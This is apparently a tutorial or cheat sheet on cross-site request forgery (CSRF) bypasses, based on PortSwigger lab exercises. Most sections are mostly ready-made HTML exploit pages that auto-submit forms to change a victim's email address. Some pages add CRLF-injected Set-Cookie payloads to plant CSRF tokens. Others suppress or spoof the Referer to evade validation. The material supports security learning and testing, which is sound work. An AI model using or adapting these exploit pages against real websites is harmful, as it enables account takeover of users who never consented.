CSRF Attacks
CSRF attacks (Cross-site request forgery) is a type of malicious exploit that aims to perform unauthorized operations that will be executed by a user that the website trusts.
Table of Contents
- CSRF vulnerability without defenses
- Token validation depends on request method
- Token validation depends on token presence
- The CSRF token is not bound to the user’s session
4.1. Same token between users
4.2. Token not linked to the session - The token is duplicated in the cookie
- CSRF without referrer
- Broken Referer Validation
CSRF vulnerability without defenses
CSRF basic mail
It makes a request to the endpoint that changes the email and javascript confirms the request, which will change the mail just by visiting the page.
Code from
https://attacker.com/evil.html
<html>
<body>
<form action="https://web.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@gmail.com" />
</form>
<script> document.forms[0].submit(); </script>
</body>
</html>
CSRF where token validation depends on request method
Depending on the request method, it can be done with GET
<img src="https://web.com/my-account/change-email?email=pwned@gmail.com"/>
CSRF where token validation depends on the presence of the token
It does not verify the CSRF token, it is removed and bypassed.
<html>
<body>
<form action="https://web.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@gmail.com" />
<input type="hidden" value="csrf" />
</form>
<script> document.forms[0].submit(); </script>
</body>
</html>
CSRF token is not bound to user session
Using the same token in both users
We can use the same CSRF Token in one user than in another, thanks to the fact that the token is not linked to the user’s session
My token: U6vJiRteqjSX46XRk57k6saqolEcdDvQ works for other users too.
<html>
<body>
<form action="https://web.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@gmail.com" />
<input type="hidden" name="csrf" value="<csrf>" />
</form>
<script> document.forms[0].submit(); </script>
</body>
</html>
The CSRF token is not bound to the session
So the same csrf token and the same csrf key could be used in one account as in another to change the email
We can use CRLF Injection (If exists) to set the key in the CSRF payload.
<html>
<body>
<form action="https://web.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@gmail.com" />
<input type="hidden" name="csrf" value="<csrf>" />
<input type="submit" value="Submit request" /> </form>
<img src="https://web.com/?search=test%0d%0aSet-Cookie:%20csrfKey=<key>" onerror="document.forms[0].submit()">
</body>
</html>
The CSRF token is simply duplicated into a cookie
The token is validated in the cookie, we can make the user create his own csrf token which we indicate.
Since the token was validated in the cookie, we can send the request to change the mail. Again we can use CRLF Intection to indicate the token
<html>
<body>
<form action="https://web.com/email/change" method="POST" >
<input type="hidden" name="email" value="pwned@gmail.com">
<input type="hidden" name="csrf" value="31415926535897932384626433832795028841971">
</form>
<img src="https://web.com/?search=hat%0d%0aSet-Cookie:%20csrf=31415926535897932384626433832795028841971" onerror="document.forms[0].submit()">
</body>
</html>
CSRF without referrer
We indicate that the Referer does not exist in the CSRF exploit using the meta tag.
Payload:
<meta name="referrer" content="no-referrer">
Exploit:
<html>
<head>
<meta name="referrer" content="no-referrer">
</head>
<body>
<form action="https://web.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@gmail.com" />
<input type="submit"/>
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
CSRF with broken Referer validation
The page validates the referrer when we want to change mail, it is determined if the referrer includes the domain of the origin page. By modifying the referer with javascript we can evade this validation and be able to exploit the CSRF.
Modify the Referer:
- Using this javascript function
history.pushState()
that adds an entry to the browser’s session history stack.<script>history.pushState("", "", "/?web.com")</script>
- Referer validation accepts any header that contains the expected domain somewhere in the chain
Referer: https://attacker.com/?web.com
Referrer-Policy
- Many browsers now remove the query string from the Referrer header by default as a security measure. To override this behavior and ensure that the full URL is included in the request.
- We have to add in the header “Referrer-Policy: unsafe-url”
Payload:
<meta name="referrer" content="unsafe-url" />
Exploit:
<html>
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/?web.com")
</script>
<form action="https://web.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@gmail.com" />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Source Labs: Portswigger Labs
- Credits Image: cobalt.io